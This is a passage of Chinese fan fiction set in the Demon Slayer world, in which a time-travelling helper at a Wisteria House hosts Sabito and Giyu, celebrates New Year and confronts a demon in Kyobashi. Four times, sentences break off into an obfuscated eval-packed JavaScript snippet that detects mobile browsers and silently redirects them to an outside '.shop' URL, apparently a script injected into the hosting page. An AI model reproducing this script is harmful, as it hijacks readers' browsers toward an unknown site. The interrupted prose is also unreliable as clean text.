锖兔和义勇端坐在晚饭前,却没动筷子,齐齐看向她。 “不吃吗?”藤花月咲疑惑。 应该很饿了吧,难道有不合胃口的菜?也不可能啊,小师弟看着鲑鱼萝卜口水都快下来了。 “你不跟我们一起吃吗?”锖兔自然地问,在狭雾山时他们都是跟师父一起动筷,饭就是要大家一起吃菜美味。 藤花月咲眨眨眼。 她已经下意识用对正式队员的态度来对待两人了,毕竟是个组织就有等级,要按规矩来办事,她是不能跟队员一起吃饭的。 但小孩子的世界里没有什么等级规矩,比不上跟朋友一起吃饭来得香。 藤花月咲飞快跑去厨房,把留给自己的那份餐食端过来,接着把门给关上。 没有人看见就不算破坏规矩! 寿奶奶笑眯眯地从走廊路过,假装自己老眼昏花什么都没看到。 三人吃着热乎乎的饭,锖兔饿极了,大口吃了一半的饭菜,感觉胃里不再那么空荡了,进食速度才慢下来,开始讲述最终选拔发生的事。 “义勇受伤后,我杀掉了那只鬼,把他背到相对安全一点的地方休息,然后就往深处跑去,一路大概杀了……有十几只鬼,最后遇见了你那天说的,手很多的鬼。” “它跟我说了一些……往事,我感觉到自己的呼吸乱了,但我记得你说的话,没有贸然动手,试探了几招后发现它果然很强,据那只鬼说已经在那座山上活了四十年,吃了几十个人。” “接着天亮了,它逃走了,我趁机休息了会儿,找到义勇,在夜晚再度来临时两人一起对战它。” “有义勇分散它的注意力,我砍掉了它很多手,终于看到了被它的手护着的粗壮脖子,却一下没有砍断,刀口反而被崩开一个口子。” 锖兔将那把日轮到取出刀鞘,刀刃上果然有一个小开口。 但比起开口,藤花月咲更吃惊的是另一点:“你的刀刃颜色……!” 原本漂亮深邃的蓝色悄然转换为远山被雾气笼罩时所呈现的青色,一点点覆盖在日轮刀上,是比水更锋利、更有力量感的气息。 “是的,当意识到我用水之呼吸无法砍断它的脖子时,我想起你说的,水之呼吸并不是最契合我的呼吸法,”锖兔云淡风轻地说起这些,“义勇帮我抵挡了一会儿手鬼的攻击,在那段时间我调整了呼吸法的循环路线。” 藤花月咲呆呆的:少年你对自己够狠啊,擅自修改功法就不怕走火入魔?! “当我切换过呼吸法后,我瞬间领悟到你那天说的时什么感觉了。” 锖兔两眼发亮,低头握紧双拳:“身体呼啦一下变得特别轻松,与日轮刀咻地融为一体,在我还没反应过来时已经斩下了那只鬼的头颅!” 藤花月咲:“……” 自己说的时候还不觉得有什么,从别人嘴里复述出来顿时好傻。 “那你们两个一起杀了山上最强的鬼,锖兔你又一个人几乎杀了所有的鬼,”她明白了,“难怪寿奶奶说这次通过选拔的人数格外多。” 富冈义勇嘴里塞了满满的食物,想说话,差点被噎得翻白眼,灌了半碗味增汤才吞咽下去,“咳咳,是锖兔杀的鬼,我没出力。” “如果不是义勇你帮我抵抗攻击,我怎么有机会砍断鬼的脖子,还没受什么伤,”锖兔用力拍拍他的后背, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897712|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你做得很好,要像个男子汉一样更有自信!” “好。” 三人把饭菜吃得干干净净,同时朝碟子里的柚子肉伸手。 然后三张脸一起被酸得皱巴巴的。 吃完饭,藤花月咲收拾好餐具,这次拒绝了他们帮忙:“你们想快点回去见师父的吧,那就赶紧躺下好好养伤,锖兔你也是,在问清楚呼吸法改变的事之前不要再随便用了。” 她砰地关上门,在门外幽幽道:“晚上不要聊天说小话,我会在门外守着的哦。” 师兄弟:“……” 有晚上聊天被师父抓包的既视感了。 藤花月咲守夜当然不只是为了“查寝”,还有受伤的人治疗后第一天最容易发烧,她得随时准备着。 但可能练过呼吸法的人,或者说这师兄弟身体很抗造,一晚上过去什么都没发生。 这两人睡得喷香,要不是有人叫早,早饭时间都能睡过去。 早饭吃的是鲑鱼茶泡饭,这个是寿奶奶的拿手菜单。 将鲑鱼抹一点盐烤好,绿茶则用昆布和木鱼花煮出的高汤泡开。一整块烤鲑鱼放在碗里的米饭上,倒入茶汤,洒上海苔芝麻、切碎的紫苏叶,简单又美味的茶泡饭就做好了。 小菜用的是之前腌好的紫苏姜,配大麦茶。 “诶,你们今天就走?”吃完茶泡饭就听到这个,藤花月咲诧异,看向义勇,“你的肋骨不是断了?” 富冈义勇:“没事。”以前在山上也断过。 “我们想快点见到师父,”锖兔摸了摸狐狸面具,“我问过医生了,只要这半个月不剧烈运动,坚持吃药就可以了。” 藤花月咲理解他们的心情,“行,衣服也差不多干了,中午之前就能走。” “对了,”她回房间拿了一个厚实的信封,上面写着“鳞泷左近次先生启”的字样,“帮我把这个转交给你们师父。” 锖兔双手接过,师兄弟盯着信封看,“里面是什么?” “是秘密,堂堂男子汉应该不会偷看吧?” “当然不会!” “好好,知道你们不会,”藤花月咲又递过去一个纸包,“柚子糖,我早上做的,给你们路上吃。” 听到这个,富冈义勇的脸蛋不自觉又皱起来。 “不酸,甜的!” 藤花月咲现场吃了一个,展示它的无毒无害,“想吃柚子肉还没有了呢,昨天就买了一个,这个是柚子皮做的。” 水呼师兄弟收下了信封和柚子糖,马不停蹄地往狭雾山赶,直到半夜,终于看到深山小屋中亮着的那盏暖灯。 “是吗,你们解决掉异形的鬼了啊……”戴着天狗面具的鳞泷左近次听完弟子们的话,陷入了沉思,“锖兔在改变呼吸后,刀的颜色也变了,这可能是衍生出了新的呼吸法。” “新的呼吸法?” “是的,不过水之呼吸的招式都很基础,经常会衍生出新呼吸,所以也不稀奇,”鳞泷左近次解释,“等你恢复过来,再演示给我看吧。” 师兄弟俩点点头,锖兔取出信封,“这是紫藤花之家的人拜托我转交给您的。” “给我的?” 8. 第八章 鳞泷左近次疑惑地接过信封,粗略一捏,里面至少装了十几张信纸。 从水柱的位置隐退后,他再也没去过紫藤花之家,当然,期间与那位寿小姐也毫无联系,为什么突然写信给他? 拆开信封取出信纸,看到第一页第一行他便彻底怔愣住。 那字迹并不属于他熟识的任何人,清秀又有力,像蝉鸣夏夜远处飘荡的笛声,细细低语着来自非人间的思念。 “师父,要好好保养身体,明明每次下雨都会膝盖疼,就不要老是忘了敷药。师父,我希望您还能活很久很久,每年都能来后山看我们!” “老师,我喜欢你揉我脑袋的大手,喜欢你给我做狐狸面具时露出的笑容。我希望,一直都非常温柔、像长辈那样守护我们的老师能够获得幸福。” “鳞泷先生,我无比感谢自己能够成为您的弟子,我最喜欢鳞泷先生了。” “鳞泷老师……” “……” 鳞泷左近次手指微颤,小心地轻轻抚摸那些落款,似乎不敢相信这是真的。 他另一只手紧紧攥着裤腿,有泪水从天狗面具下蜿蜒流淌,滴落在手背。 恍惚间,他仿佛看见那些孩子错落着站在竹林间,戴着他一个个亲手雕刻的消灾面具,转身消失在雾中。 锖兔和义勇第一次见到师父情绪起伏如此之大,在一旁手足无措。 刚回来时师父也激动地抱住了他们,可那会儿太开心了,谁都没注意对方有没有掉眼泪。 “师父,这个在最终选拔摔坏了。”寂静中,富冈义勇突兀地掏出自己裂开的狐狸面具递过去。 他想,有别的事情做转移精力,就不会那么伤心了。 茑子姐姐刚离开他时,他伤心崩溃到每天吃不下饭睡不了觉,却什么都做不了,只能不断哭泣。 后来开始练习剑术,日复一日的锤炼终于让他觉得自己不再是个彻底无能的人,将他从自暴自弃的深渊中拖离出来。 所以,师父很伤心的话,就一起来修补面具吧。 天狗面具下,鳞泷左近次释然地笑了:“好,我给你补。” —— 半个月后,紫藤花之家飞来了一只新鸦。 藤花月咲发现它的时候,这只乌鸦正窝在庭院的石头上晒太阳,缩着脖子一副十分享受的模样。 它叫宽三郎,是富冈义勇的鎹鸦,正当壮年,是来送信的。 信里写到,锖兔在鳞泷左近次的指导下调整了呼吸法,而新衍生出来的呼吸法暂定名为“岚之呼吸”,确定下来的招式只有壹之型和贰之型,其他还在摸索当中。 富冈义勇已经拿到队服和属于自己的日轮刀,接到入队后的第一个任务,正在前往杀鬼的路上。 以后如果要联系就靠鎹鸦,它们之间有强大的联络网,可以找到他在哪里。 藤花月咲读完信,给宽三郎喂了一点新买的野浆果,然后系上围裙,开始大扫除。 虽然她和寿奶奶每天都有在打扫,但过年前的大扫除意义不一样,那些平时忽略掉的卫生死角,这回要一次性清理干净。 可能是年末的缘故,街上人也变多了,经常有各种庙会活动,到了晚上河边会放烟花。 寿奶奶给藤花月咲放假,让她去玩了两次,的确非常热闹,跟一百多年后的没有多大区别,烟花依旧那么漂亮,小吃也很美味。 就是亲人朋友都不在身边罢了。 不过藤花月咲也没落寞多久,便打起精神继续自己的中药调配之路。 由于药材短缺,目前只能从食补下手,做一些补血养气的菜品,或者在日常饮用的茶水上下功夫。 之前用大枣、桂圆等食材泡的助眠茶还挺受好评,秋冬季节喝一杯暖呼呼的茶最舒服了。 但藤花月咲还是想要一套针灸用的针具,可市面上根本买不到啊,想自己打一套都找不来人做,民间虽然有汉医流派,但药房、器具都是内部流通,很少流到外面。 想到这儿,她更加埋头苦干,所到之处全都干净得能够反光,连路过的乌鸦都要被揪住把两只爪子给擦一擦。 在紫藤花之家养伤的队员们远远就瞧见她的气势,不由默默地退回房间,生怕月咲小妹妹一上头把他们也丢进盆子里刷一遍。 到了傍晚,藤花月咲把最后一间榻榻米拖干净,来到厨房问需不需要帮忙。 寿奶奶埋头煮面:“你去外面坐着,等着开饭吧。” 跨年夜的晚饭是“年越荞麦”,还会加鸡蛋和天妇罗,是有点豪华的一餐。 鬼杀队的队员们基本上都没有亲人了,因此在这儿疗养的队员会跟她们一起过年,明天还会捣年糕。 有个队员说他特别擅长捣年糕,以前家里人都说好吃。 藤花月咲不想让自己闲下来,于是拿来了一支尺八,也就是这时候的竖笛。 她坐在庭院前的廊檐下,前后晃着小腿,思考应该吹什么曲子,肯定不能把后世的歌曲提前剧透。 想了想,想起一首“今年”的歌曲,她去逛庙会时听到有女学生在哼,总不会出错。 房间内,躺在床褥上无聊到数天花板格子的队员忽然一顿,起身问:“外面是不是有笛声?” “有吗?” “啊,听到了,是从庭院传来的,好耳熟。” 悠扬的笛声沿着风与月色,传到了这座宅邸每个人的耳中,朗朗上口的旋律与曲调带着莫名的忧愁,萦绕着紫藤花树久久未散。 吹到一半,渐渐的,有人加入了演唱。 “窗外风,雨大作,惊扰了梦境。远方遥不可及,内心满是迷茫。眷恋故乡,思念父母,脑海中浮现出的是林间树梢的模样……” 队员们的歌声参差不齐,还有跑调的,但都唱得很认真。他们或站或坐在藤花月咲身边,双手打着节拍,望着远方,用还在变声期的沙哑嗓音唱着,向已经不在人世间的亲人倾诉思念。 一曲完毕,有的人闷声抹眼泪,有的人鼓掌:“吹得真好!” “这首歌是《旅愁》吧?我每次路过唱片店,如果播的是这首歌都要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897713|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停下来听一小会儿。” “我是路过学校的时候听到的,学校经常会放。” 队员们叽叽喳喳聊天的动静,令这座沉寂的宅邸蓦地活泛起来,不那么死气沉沉了。 这时,寿奶奶把荞麦面端出来,喊大家吃饭了。 藤花月咲也收起尺八,帮伤员摆好餐具,然后坐下端起自己的碗,先喝了一口面汤,热乎乎的真好喝。 天妇罗不仅有虾,还有鸡肉和红薯,炸得轻薄酥脆火候刚刚好。 正吃着荞麦面,庭院里忽然扑棱棱的声响很大,往外一看,好几只鎹鸦结伴飞来,落在了紫藤花树上。 “咦,紧急任务?!”藤花月咲只能想到这个。 “不,应该是主公的新年寄语来了。”寿奶奶有经验。 藤花月咲去把信一个个从乌鸦腿上拆下来,数了数,数量和目前紫藤花之家的人数一致,连她和寿奶奶都没落下。 “这每一封都是主公亲自写的吗?”尽管鬼杀队队员不算很多,可起码也要写几百封吧。 难怪主公在队内声望那么高,她唯一见过的柱,岩柱悲鸣屿行冥也对主公相当尊敬。哪怕只是做个样子,那他也费心去做了,让普通队员都心里熨帖。 而且主公对鬼杀队内部的动向掌握得非常清楚,才会给她这个才来紫藤花之家半年不到的人也写了寄语。 其他队员都第一时间拆开了信封,认字的目不转睛看,不认字的焦急地等着其他人看完给自己读。 藤花月咲也帮忙读了几封,从内容来看,主公确认是对他们每一个人都有所了解,写出的寄语也很诚恳真心,至少是能说到人心坎的话语。 嘶,从某种意义上来说真的是很恐怖的人啊。 她突然有点不太敢读自己的信了。 小心翼翼取出信纸,藤花月咲发现内容居然不少,字迹相当漂亮,一看就很有大家族公子的风范。 主公先是感谢她在紫藤花之家帮忙,又提到最终选拔藏着强鬼的事,表示之后每一次选拔前都会派遣柱去确认一遍,如果还有什么建议可以回信让鎹鸦捎来,如果合适他会考虑的。 诶,这件事她一直惦记着,居然就这么解决了? 还能回信继续提建议,这个主公未免太亲民了些? 藤花月咲继续往下看。 主公又写到请不要浪费她的才能,可以在队内发挥,帮助那些孩子们。 才能,指的是直觉还是医术? “……最后谨贺新年,愿身体安康、万事顺心,产屋敷一族对你在今年、明年、来年岁月中,为鬼杀队延续付出的贡献,致以最诚挚的谢意。” 落款:产屋敷耀哉。 藤花月咲看完信,谨慎地收起来,给没吃饱的队员加餐,端上了花林糖和水果香蕉。 洗碗的时候还有点心不在焉。 说起来,她还是第一次知道主公的姓名,毕竟之前也没什么机会、没什么人会直呼主公大名? ……藤花月咲的曾曾外祖母,出嫁前的姓氏就是产屋敷。 9. 第九章 藤花月咲的曾曾外祖母,出嫁前的名字是产屋敷杭奈。 藤花月咲上小学前她还在世,那时家里和产屋敷家来往不少,直到她去世后,与远房亲戚之间的联系才逐渐减少。 不过虽然走动少了,每逢年末,藤花一家都会受邀去产屋敷的神社观看神乐表演。 数个舞台围成一圈,不同流派的继承人在各自的舞台上跳着神乐。他们披着各色花纹图案的羽织,薄纱覆面,手握神仗持续舞动着,要从前一天的落日一直反复跳到后一天的黎明,非常辛苦。 藤花月咲小时候每次都看到一半就睡着了,成年后有尝试从头看到尾,神乐结束了,她也直接睡倒在座椅上了。 曾曾外祖母还有个哥哥,名为辉利哉,是产屋敷家的家主,活了一百多岁仍然建在,藤花月咲穿越时这位老人还在世呢。 由于辈分差距太大且不住在一处,藤花月咲对这两位老人并不是很了解,但她记得他们温和的声音与慈爱的笑容,让她清楚意识到自己是被温暖地爱着的。 所以,鬼杀队主公的这个“产屋敷”,和曾曾外祖母的“产屋敷”是同一家吗? 如果是同一家,那么根据年龄推算,如今的主公大人应该就是辉利哉曾曾外舅公的父亲?! 藤花月咲的直觉隐隐告诉她,就是这么回事,但没有印证就不能完全笃定。 有什么证明的方法? 她记得曾曾外祖母是兄弟姐妹一共五人,另外三人虽从未碰面,但牌位都供奉在产屋敷家的神社里。 ……难不成要写信去问主公:请问您生了几个孩子? 光是想象都觉得冒昧的程度。 还是先试探一下寿奶奶吧,她经营紫藤花之家数十年,肯定知道很多。 结果,寿奶奶也不清楚,“产屋敷家的每一任家住都从小体弱多病,且英年早逝,因此为了保护孩子们,新一任主公继位前都不会告知外界那一代出生孩童的姓名和具体年龄。” 藤花月咲又不确定起来。 体弱多病?英年早逝? 这和她印象中的产屋敷族人半点关系都没有,自己能有那么健康的身体也全是遗传自曾曾外祖母啊。 她有点混乱了。 于是,藤花月咲果断洗漱,铺开床褥准备睡觉。 等睡醒了脑袋清楚些再思考也不迟,反正不论答案如何,她都不打算做什么。 首先,证明身份就是一件很麻烦的事。来自未来的人知道先人的痕迹,可此刻的先人却望不见未来,现在又没有DNA鉴定技术,这话说了也没人信。 其次,她目前对鬼、鬼杀队的事都一知半解,如今的产屋敷一族似乎内部很复杂的样子,绝对没有在紫藤花之家轻松自在,毕竟连主公都许可她在这儿发挥才能。 即便他们真的是血脉相连的亲人,能够默默在后方支持,她就很满足了。 藤花月咲铺好被褥,灌了两个汤婆子,在自己和寿奶奶的被子里都塞好,钻进暖呼呼的被窝里,闭上眼酝酿睡意。 半晌,她猛地睁眼坐起来。 啊!我知道了! 之前为什么看水呼师兄弟的招式眼熟,因为每年年末都在产屋敷家神社的神乐表演上看到啊! —— 一月中旬,寿奶奶交给藤花月咲一个新工作。 就是去东京京桥区取货。 紫藤花之家常年备着许多药物,但一些昂贵且需要进口的西洋药品,例如镇痛抗炎的阿司匹林、用于麻醉的□□、给伤口消毒的碘仿等等。 这些稀有的药物并不是每个药店都有,就算有也提供不了那么大的量。 因此要借助产屋敷家强大的人脉,才能保证药品不断供。 这些订单从一年之前就发出,飘洋过海前往欧洲,药物再跟着货船来到各地港口卸下,运往大城市中心的连锁药店。 唯一不方便的,就是需要各地紫藤花之家的管事们亲自去取货。 藤花月咲一口答应下来。 京桥区,似乎是未来东京中央区的南部,银座、筑底都在那边,的确相当繁华。 对于这个时代的繁华街道,她还是有点好奇的。 “前些年我都是一早就去,拿到东西后在咖啡馆喝一杯咖啡再回来,”寿奶奶把路线、需要换乘的交通工具和取货地址写下来,“但你是第一次去那边,不怕一个人外宿的话,住一晚再回来也没问题,这里有我在。” “那边比这里要繁华很多,有很多漂亮的店,还能看电影呢,年轻女孩子都喜欢这些吧,你可以逛一逛。” 藤花月咲心想,其实我以前去过银座好多次了啦……外地的亲戚、同学一来东京,就喜欢去银座、新宿这些地方,光是陪这些人,她每年的银座KPI就超标了。 不过她接受了寿奶奶的善意:“好,我会买伴手礼回来的~” 第二天,藤花月咲换上了一件浅紫色花纹的海老茶式部制服,因为是冬天,套了一件西洋式的羊毛外套,相当东西结合,却是时下流行。 腰带的蝴蝶结系得很高,垂挂下紫藤花香包,脚上是一双低跟小皮靴。 寿奶奶帮她把头发解开,梳直后重新编了个发型,是一条漂亮又结实的三股辫,脑后别了个紫藤花的发饰。 藤花月咲看了看镜子里的自己,总有种乡下人进城前隆重打扮的既视感。 她提着两个皮箱,一个皮箱里装了点换洗衣物和用品,其他空间都是空着给货品的。 都还是空箱子,提着很轻松,藤花月咲道别寿奶奶,上了人力车。 之后,就是一场漫长又痛苦的交通工具换乘行动。 先坐人力车,然后换马车,一路抵达近郊铁路电车的车站。 没错,不是普通电车也不是火车,而是电车在类似火车轨道的铁路上行驶…… 藤花月咲还恰好赶上了早高峰,幸好这时的电车没后世拥挤,还是能找到座位的。 下车后,换乘市区的有轨电车,到站后再走个半小时,她终于成功来到京桥区。 明明在一百年后坐电车不超过一小时的路程,她足足花了三个多小时! 眼见已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897714|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经中午了,她在附近找了一家商务旅馆安顿下来,单人间住宿一晚要2日元,含一顿早饭。 这个价位算中等水平,高级旅馆的价格至少要翻两三倍。 价位更低廉的也有,专门提供给工人和学生。但藤花月咲毕竟是女性单独出行,安全为上,人员太混杂的旅馆是非也多,还是尽量避开比较好。 稍微休息了会儿,她提上皮箱,揣着订单去取货。 京桥区确实非常繁华,光看路就知道了,路都是碎石路,两旁设有煤气路灯,显得明亮又干净。 路上的行人也有许多穿着西装革履,商店的橱窗使用大片玻璃,红砖搭建的小洋房隐藏在围墙和树木后面。 来到那家取货的大药店,藤花月咲递上订单,负责人确认后请她稍等。 坐下喝了两杯茶,负责人把货物从仓库运来,当面点清,确认数量和种类与订单上一致,包装也没有破损,两边就各自签字,盖上印章。 藤花月咲把药品装进皮箱锁好,一路没有停歇地回到旅馆,在房间里左看右看,最后把皮箱藏进了壁橱角落里。 要是有床就藏床底了,谁叫这时候旅馆基本都是榻榻米,压根没床! 唉,要是有个保险柜就更好了。 虽然皮箱里不是钱,可那些药品的价值跟两箱钱也差不多了,这边治安不错,也得小心谨慎些。 在旅馆旁的路边摊吃了碗山药泥乌冬面,藤花月咲提上巾着,往更加繁华的街道走去。 第一家去的就是寿奶奶推荐的咖啡馆。 手冲咖啡的香气很浓郁,以前读研时基本没有时间好好坐下来享受咖啡,都是直接泡速溶的,而且必须不加糖不加奶,才能维持一整天的精神。 反倒是现在有时间慢慢喝咖啡了。 吃完咖啡馆的小饼干,得知这家店有售卖磨好的咖啡粉,藤花月咲买了一小袋,打算回去后自己泡。 寿奶奶一定会喜欢。 接着在街上闲逛,新出的电影她没什么兴趣,也不打算体验复古的影院设备,不过有家开得很大的书店。 进去一看,新出的推理小说,买! 这时的书籍也真是不便宜,一本小说花了2日元,跟今晚的住宿费同价。 寿奶奶每月都会付她帮工的钱,不多,但包吃包住,平时也没有用钱的地方,攒下来后金额可观。 更别说这次寿奶奶是给经费了的,所以藤花月咲没怎么犹豫就买下了这本新出的推理小说。 哦,对她来说不算新了。 进城“见识”了一番,夜晚,藤花月咲心满意足地回到旅馆房间,确认货物没被动过,简单洗漱换衣,看了一会儿新买的小说,见时间不早了,准备就寝。 然而刚躺下还没熄灯,她整个人咯噔一下,身体霎时间僵住了。 一股莫大的、从灵魂深处喷涌而出的强烈情绪在一瞬间充斥了胸口,仿佛要将她的心脏给撑爆开,几乎要化为实质性的疼痛,蔓延到身体的每一个细胞。 藤花月咲慢半拍地意识到,这是一股剧烈的恨意。 10. 第十章 深夜十一点,有轨电车的末班车已经开走了,街面上行人寥寥。 旅馆的老板娘顶着寒风把大门关上锁住。下半夜基本很少有客人来住宿,只偶尔有乘夜班火车到站的乘客,到时敲门或在外面呼喊,旅馆守夜的人才会去开门。 刚把门关好回到屋内,二楼客房就走下一个人。 老板娘一眼就认出对方是住在单人间的滕花月咲小姐。 这年头像她这样独自出门住宿的年轻女孩本就不多,再加上相貌也非常显眼,如同发饰那样漂亮、紫藤花仙子般的少女,没理由不记得。 “啊啦,难道您现在要出去?”老板娘惊讶。 这个点街上都没几个人了,虽然并不禁止出门,但因为警察会定点巡逻,对仍然徘徊在外面的人员进行盘问,要是觉得可疑就直接带走,所以大家都尽量避免半夜外出。 藤花月咲点头。那股突如其来又莫名的恨意堵在心口久久不散,是一种来自灵魂与血脉的烙印,她全身上下每一个细胞都在呐喊着去寻找这股恨意的源头,手掌不断冒着冷汗。 她一向相信自己的直觉,干脆换了外出的衣服下楼,向旅馆租借了一个挑杆式的提灯,纸罩竹骨,挑杆也是竹制的,有点轻,却很明亮。 老板娘只当她要去火车站接人,把大门打开,“回来的时候敲门就行。” 藤花月咲挑着灯笼,快步走在街头,朝直觉隐隐感应的方向奔去,越走越偏僻。 哪里都有平民居住的区域,京桥区自然也不是处处都繁华。疾走数十分钟后,脚下的路变成了土路,两旁的煤气路灯也没了,周围的建筑从红砖洋房变为江户时代就遗留下来的长屋和木板房,层高都很低。 在哪里、在哪里? 藤花月咲挑高灯笼不停左右张望,她知道自己距离源头已经很近了,就在这附近。 可直觉这种东西到底不是GPS,无法像导航那么精准,只能给个大致范围,导致她在同一片区域打转了好久。 路过一条小巷时,死寂的黑夜中,她忽然听到漆黑的巷子里传来一点动静。 藤花月咲不由吞咽口水,握紧了竹杆,谨慎地探出半个脑袋,将灯笼往巷子里伸。 光线模糊勾勒出一个人的身影,那个人体型很小,蜷缩在地上微微颤抖着,看发型和穿着应该是位女性。 无端的危机感噌地冒了上来,在藤花月咲脑中拉响警铃。与她之前感应到的恨意截然不同,却也分外危险。 她右脚悄悄后退一步,作出逃跑的预备姿势,但还是先问了一句:“请问……您没事吧?” 话音刚落,对方就猛地扑了过来!四肢并用的动作如同狩猎的野兽般敏捷凶残! 藤花月咲早有准备,顿时将灯笼大力甩了过去! 对方闪避灯笼的瞬间,她看到了那人的模样:女性,头发散乱,竖瞳、尖牙,指甲又长又锋利,眼神中全然没有了属于人类的理智,喉咙发出威胁的低吼。 是鬼! 藤花月咲霎那间从头皮麻到脚底,感觉血液都凉了半分。 这是她第一次遇到鬼,之前不论听过多少寿奶奶和猎鬼人的描述,都不如这一刻直面鬼的惊悚。 不是每个人都有勇气面对这样的非人生物。 双方僵持着,她不敢暴露后背逃跑,一动不动地盯着对方,手里握着没了灯笼后光秃秃的竹竿作防身武器,屏住呼吸等待下一次袭击。 然而,那只鬼蓦地皱眉、脖子后缩,露出害怕的样子,犹豫片刻,转身咻地窜出巷子,往某个方向奔去。 藤花月咲:??? 我还没逃,你跑什么?! 随即她反应过来,鬼怕的不是她,而是挂在她腰带上的紫藤花香包! 松了一口气的同时,藤花月咲又不禁担忧,放任这只鬼在外游荡,万一有无辜路人被袭击了该怎么办? 大脑犹在思考,身体却已经追了上去。 上学时她短跑100米的成绩在12秒左右,在同学当中算跑得很快的,这具身体虽没回到体质的巅峰时期,也相差不远。 藤花月咲跑了几步,这低跟小皮靴实在是影响发挥,心里暗道一声抱歉了寿奶奶,奋力将鞋子踢飞。 赤脚跑反而更快些,再加上走小路——感谢方才绕的那一小时圈子——终于追上了那只鬼。 她从小路里冲出,压低身体重心,一个滑铲过去,想将女鬼绊倒。 女鬼发现有人偷袭,飞速跳到一旁闪开。 但藤花月咲瞬间将掩藏在身后的竹竿一抽,双手用尽全力挥舞,打在女鬼的小腿上。 打中了! 女鬼重重栽倒在地,藤花月咲整个身体压了上去,却完全压制不住。 明明女鬼的体型跟她差不多,甚至更瘦矮一点,可仿佛力大无穷,怎么按都按不住,几次都要将背上的人给掀翻。 而且鬼的脖子构造可能跟人不一样,正常人的脑袋顶多旋转90度,但这只女鬼近乎能旋转180度,不停想咬锢住她肩膀的那只手。 “嗷啊啊——!” 藤花月咲赶紧用脚够来竹竿卡在女鬼嘴里,用双臂钳住竹竿迫使鬼无法松口。 一人一鬼在地上扭打,往土路上滚了好几圈,随后听到“咔擦”一声。 糟糕,竹竿要被咬裂了! 在鬼强大的咬合力下,竹竿被咬断成两截,女鬼也趁机逃脱了掌控,依旧没有往少女身上扑,只想另找目标。 藤花月咲往后摔在地上,忍痛爬起来,看到黑暗中鬼已经跑远,而路的尽头——出现了一个人影! “危险!!”她呐喊道。 她的叫喊似乎提醒到了那个人,当女鬼锋利的指甲刺向他时,他踉跄着往后一仰,勉强避开了致命一击,仅被划伤了胳膊。 鲜血顺着手臂蜿蜒流淌,在指尖滴落。 藤花月咲看到,女鬼的行动肉眼可见迟缓下来,她连忙捂着肩膀追去。 女鬼虽然速度变慢,仍旧渴望吃人补充力量,口水抑制不住地溢出,亮出尖牙又冲了上去。 那人因为后仰的作用力还没完全站稳,见状直接顺势倒下躲避攻击,随后抓了一把地上的土,猛地朝女鬼狠狠一撒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16897715|192282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 女鬼被土迷住了眼睛,尖叫着后退。 这时藤花月咲赶到了,她看到那个被袭击的人居然是个跟自己差不多大的少年,手里握着一把砍刀。 也许辨认出了女鬼的人形,少年没有砍向她的要害,握住刀柄用力一捶,把女鬼和服的宽袖钉在了地上。 只不过和服的布料很脆弱,女鬼挣扎几下就撕裂开,少年又改钉住她的和服腰带,小腿压在鬼的肩膀,却也固定不了多久。 藤花月咲前后左右都没看到能用得上的东西,一顺手,干脆扯下腰间的紫藤花香包,大力一塞堵住女鬼的嘴。 女鬼惊恐地呜咽半天,半晌后竟头一歪,晕了! 原来紫藤花还有这种效用?难怪鬼会怕! 暂时制服了这只鬼,有很长一端时间内,周围都安静得只有藤花月咲和那个少年力竭的喘气声。 “那边有人吗?!” 有两个光源朝这边靠近,藤花月咲听出是巡逻的警察,赶紧拉着少年一起把女鬼扛进巷子躲起来。 毕竟现场看起来并不像勇斗恶鬼的画面,更像两人携手袭击了无辜少妇。 贴着墙壁躲在一堆杂物后面,等警察离开了,藤花月咲浑身泄了劲靠在墙上,刚想说点什么,就见那个少年抱住了女鬼的肩膀,脸紧贴着脸。 “妈妈……”他的声线颤抖,迷茫中带着未知的恐惧。 藤花月咲瞪大双眼。 这也未免太巧了! “等下,你妈妈没有死!”她顾不得其他,立刻把鬼和鬼杀队的事情简短地解释了一遍。 而这么坐下来把事情一捋,她也想明白今晚那股驱使自己出门的强烈恨意从何而来了。 